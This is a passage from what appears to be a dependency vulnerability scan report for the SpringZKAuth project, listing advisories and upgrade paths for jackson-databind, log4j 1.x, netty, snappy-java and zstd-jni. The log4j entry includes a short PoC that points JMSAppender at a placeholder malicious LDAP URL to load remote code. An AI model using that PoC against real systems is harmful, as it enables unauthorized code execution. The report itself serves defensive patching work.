  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.kafka:kafka-clients@4.3.1 › com.github.luben:zstd-jni@1.5.6-10
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka@4.2.0-M2 › org.apache.kafka:kafka-clients@4.3.1 › com.github.luben:zstd-jni@1.5.6-10
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka-clients@4.3.1 › com.github.luben:zstd-jni@1.5.6-10
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.kafka:kafka-clients@4.3.1 › com.github.luben:zstd-jni@1.5.6-10

Overview

Affected versions of this package are vulnerable to Use After Free in the setDict, setLongMax, setLevel, and setRefMultipleDDicts methods of its streaming classes. An attacker can corrupt native heap state or crash the JVM by calling these setters on a stream after close(), causing them to write through a freed native context handle. The vulnerable code lives in BaseZstdBufferDecompressingStreamNoFinalizer, ZstdInputStreamNoFinalizer, and ZstdOutputStreamNoFinalizer, where these post-close setters still pass the stale native pointer into zstd's dictionary and parameter-loading routines. In applications that reuse or retain stream objects across lifecycle boundaries, the resulting write can alter an unrelated live native object or trigger a JVM crash.

Remediation

Upgrade com.github.luben:zstd-jni to version 1.5.7-14 or higher.

References

medium severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the _findDeserializer() method of TypeDeserializerBase, which caches every unknown type ID as a distinct key in the _deserializers map even when all of them resolve to the same defaultImpl fallback. An attacker can grow that cache without bound for the lifetime of the process, exhausting memory over time, by submitting a stream of novel type identifiers. This requires the application to use name-based polymorphism through @JsonTypeInfo(use = Id.NAME, defaultImpl = ...), to accept attacker-controlled type identifiers, and to reuse the mapper instance across requests.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.18.11, 2.21.7, 2.22.3 or higher.

References

medium severity

Improperly Controlled Modification of Dynamically-Determined Object Attributes

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Improperly Controlled Modification of Dynamically-Determined Object Attributes in the BeanDeserializerBase.createContextual() method, which applies the per-property exclusions through _handleByNameInclusion() and then rebuilds the property map from the unfiltered original, overwriting the filtered map and restoring every property the exclusion had removed. An attacker can set fields that were marked ignored, enabling mass assignment, by supplying those property names in untrusted JSON during deserialization. Exploitation requires case-insensitive property matching to be enabled via @JsonFormat with ACCEPT_CASE_INSENSITIVE_PROPERTIES alongside per-property @JsonIgnoreProperties.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.18.9, 2.21.5, 2.22.1 or higher.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) in the JDKFromStringDeserializer class, which constructs InetSocketAddress and resolves the hostname through DNS at deserialization time. An attacker can force the server to issue outbound DNS lookups for chosen hostnames by submitting JSON that is deserialized into a type holding an InetSocketAddress field, with no authentication required. The observable effect is limited to DNS resolution of attacker-chosen names, useful for out-of-band interaction or internal resolver probing rather than a full outbound request, and it applies only where the application deserializes untrusted JSON into types containing such fields.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.18.8, 2.21.4 or higher.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) through the STD_INET_ADDRESS branch in FromStringDeserializer in src/main/java/com/fasterxml/jackson/databind/deser/std/FromStringDeserializer.java. An attacker can trigger outbound DNS lookups and blind SSRF behavior by supplying a hostname string in JSON that is deserialized into java.net.InetAddress. When application code binds untrusted input into an InetAddress field or type, the deserializer calls InetAddress.getByName(value) on the attacker-controlled string and resolves it before any application validation runs. This lets an attacker force DNS-based callbacks or probe internal hostnames, causing unwanted network egress and leaking resolver-visible information.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.18.9, 2.21.5, 2.22.1 or higher.

References

medium severity

Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') through NioPathDeserializer in src/main/java/com/fasterxml/jackson/databind/ext/NioPathDeserializer.java. An attacker can force readValue() to resolve an attacker-controlled java.nio.file.Path URI by supplying a non-file scheme such as jar:, http:, s3:, or a custom provider scheme in untrusted JSON. That input reaches new URI(value) and then Path.of(uri), which falls back to ServiceLoader<FileSystemProvider> resolution and can invoke a matching provider’s getPath(uri) during deserialization. The result is unintended provider loading and provider-driven path handling inside the application, which can trigger denial of service or other side effects depending on what FileSystemProvider implementations are present on the classpath.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.18.10, 2.21.6, 2.22.2 or higher.

References

medium severity
new

Out-of-bounds Write

  • Vulnerable module: org.xerial.snappy:snappy-java
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.springframework.kafka:spring-kafka@4.2.0-M2 and others

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.kafka:kafka-clients@4.3.1 › org.xerial.snappy:snappy-java@1.1.10.7
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka@4.2.0-M2 › org.apache.kafka:kafka-clients@4.3.1 › org.xerial.snappy:snappy-java@1.1.10.7
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka-clients@4.3.1 › org.xerial.snappy:snappy-java@1.1.10.7
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.kafka:kafka-clients@4.3.1 › org.xerial.snappy:snappy-java@1.1.10.7

Overview

Affected versions of this package are vulnerable to Out-of-bounds Write through the Snappy.uncompress*Array methods. An attacker can corrupt heap memory and potentially cause application crashes or unexpected behavior by supplying specially crafted compressed input that results in misaligned length values, leading to writes past array bounds.

Remediation

Upgrade org.xerial.snappy:snappy-java to version 1.1.10.9 or higher.

References

medium severity
new

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: tools.jackson.core:jackson-core
  • Introduced through: org.springframework.cloud:spring-cloud-starter-config@5.1.0-M1 and org.springframework.boot:spring-boot-starter-web@4.2.0-M2

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.cloud:spring-cloud-starter-config@5.1.0-M1 › tools.jackson.core:jackson-databind@3.1.6 › tools.jackson.core:jackson-core@3.1.6
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.cloud:spring-cloud-starter-config@5.1.0-M1 › org.springframework.cloud:spring-cloud-config-client@5.1.0-M1 › tools.jackson.core:jackson-databind@3.1.6 › tools.jackson.core:jackson-core@3.1.6
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.1.6 › tools.jackson.core:jackson-core@3.1.6

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the PATTERN_FLOAT regex of NumberInput, reached through looksLikeValidNumber(), where adjacent quantifiers over the same character class ([0-9]*, then an optional [.], then [0-9]+) carry no possessive quantifiers or atomic grouping, so the engine explores every split point between digit groups on non-matching input. An attacker can pin a request-handling thread and exhaust the worker pool with concurrent requests by supplying a long numeric-looking string that fails to match, since match cost is quadratic in input length, with 160,000 characters costing 74.4 seconds in a single call. This requires the application to reach looksLikeValidNumber() with attacker-controlled strings, which is the default path when jackson-databind coerces a String field to a number, and the input is bounded only by StreamReadConstraints.maxStringLength at 20,000,000 rather than by maxNumberLength at 1,000.

Workaround

This vulnerability can be avoided by lowering StreamReadConstraints.maxStringLength toward the string length the application actually needs, which caps the input this quadratic path can be handed, since it is that limit and not maxNumberLength that governs here.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade tools.jackson.core:jackson-core to version 3.1.7, 3.2.2 or higher.

References

medium severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: tools.jackson.core:jackson-databind
  • Introduced through: org.springframework.cloud:spring-cloud-starter-config@5.1.0-M1 and org.springframework.boot:spring-boot-starter-web@4.2.0-M2

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.cloud:spring-cloud-starter-config@5.1.0-M1 › tools.jackson.core:jackson-databind@3.1.6
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.cloud:spring-cloud-starter-config@5.1.0-M1 › org.springframework.cloud:spring-cloud-config-client@5.1.0-M1 › tools.jackson.core:jackson-databind@3.1.6
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.1.6

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the _findDeserializer() method of TypeDeserializerBase, which caches every unknown type ID as a distinct key in the _deserializers map even when all of them resolve to the same defaultImpl fallback. An attacker can grow that cache without bound for the lifetime of the process, exhausting memory over time, by submitting a stream of novel type identifiers. This requires the application to use name-based polymorphism through @JsonTypeInfo(use = Id.NAME, defaultImpl = ...), to accept attacker-controlled type identifiers, and to reuse the mapper instance across requests.

Remediation

Upgrade tools.jackson.core:jackson-databind to version 3.1.7, 3.2.3 or higher.

References

medium severity

Arbitrary Code Execution

  • Vulnerable module: log4j:log4j
  • Introduced through: com.101tec:zkclient@0.7, org.apache.kafka:kafka_2.11@1.0.0 and others

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › com.101tec:zkclient@0.7 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › com.101tec:zkclient@0.7 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15

Overview

log4j:log4j is a 1.x branch of the Apache Log4j project. Note: Log4j 1.x reached End of Life in 2015, and is no longer supported.

Affected versions of this package are vulnerable to Arbitrary Code Execution.
Note: Even though this vulnerability appears to be related to the log4j 2.x vulnerability, the 1.x branch of the module requires an attacker to have access to modify configurations to be exploitable, which is rarely possible.

In order to leverage this vulnerability the following conditions must be met:

  1. The application has enabled JMSAppender (or a class that extends JMSAppender)
  2. The attacker has access to directly modify the TopicBindingName or TopicConnectionFactoryBindingName configuration variables - which is an unlikely scenario

If these conditions are met, log4j 1.x allows a lookup feature that does not protect against attacker-controlled LDAP and other JNDI related endpoints. Therefore, an attacker with access to the aforementioned configuration variables is able to execute arbitrary code when loaded from an LDAP server.

PoC

import org.apache.log4j.net.JMSAppender;
// ...
JMSAppender a = new JMSAppender();
a.setTopicConnectionFactoryBindingName("ldap://<malicious-url>");
// OR a.setTopicBindingName("ldap://<malicious-url>");
a.activateOptions();

Remediation

There is no fixed version for log4j:log4j.

References

medium severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty
  • Introduced through: com.101tec:zkclient@0.7, org.apache.kafka:kafka_2.11@1.0.0 and others

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › io.netty:netty@3.10.5.Final
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › io.netty:netty@3.10.5.Final
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › io.netty:netty@3.10.5.Final
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › io.netty:netty@3.10.5.Final
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › io.netty:netty@3.10.5.Final

Overview

io.netty:netty is a NIO client server framework which enables quick and easy development of network applications such as protocol servers and clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling. Netty mishandles whitespace before the colon in HTTP headers such as a Transfer-Encoding : chunked line. This can lead to HTTP request smuggling where an attacker can bypass security controls, gain unauthorized access to sensitive data, and directly compromise other application users.

Note:

io.netty:netty is deprecated. Users should update to io.netty:netty-all

Remediation

There is no fixed version for io.netty:netty.

References

medium severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data in the isSafeSubType() method of DefaultBaseTypeLimitingValidator, whose denylist of unsafe base types omits java.lang.Comparable, so the method returns true for any subtype resolved under a Comparable base. An attacker can trigger instantiation of arbitrary classes that implement Comparable, such as java.io.File to reach path-traversal primitives, by sending JSON with attacker-controlled type identifiers. This requires the application to use a bare @JsonTypeInfo with the default validator and no explicit PolymorphicTypeValidator, and a property or class whose declared base type is Comparable.

Workaround

This vulnerability can be avoided by configuring an explicit restrictive PolymorphicTypeValidator, such as a BasicPolymorphicTypeValidator allowlist passed to activateDefaultTyping(), instead of relying on the default validator.

Note: The discoverer of this vulnerability reports that "I have not identified a class implementing Comparable that yields code execution purely through deserialization".

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.18.10, 2.21.6, 2.22.2 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Denial of Service (DoS) in the _deserializeFromArray() function in BeanDeserializer, due to resource exhaustion when processing a deeply nested array.

NOTE: For this vulnerability to be exploitable the non-default DeserializationFeature must be enabled.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.12.7.1, 2.13.4 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Denial of Service (DoS) in the _deserializeWrappedValue() function in StdDeserializer.java, due to resource exhaustion when processing deeply nested arrays.

NOTE: This vulnerability is only exploitable when the non-default UNWRAP_SINGLE_VALUE_ARRAYS feature is enabled.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.12.7.1, 2.13.4.1 or higher.

References

medium severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE

Detailed paths

  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
  • Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
    Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. A Polymorphic Typing issue was discovered in FasterXML jackson-databind 2.x through 2.9.9. When Default Typing is enabled (either globally or for a specific property) for an externally exposed JSON endpoint and the service has JDOM 1.x or 2.x jar in the classpath, an attacker can send a specifically crafted JSON message that allows them to read arbitrary local files on the server.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

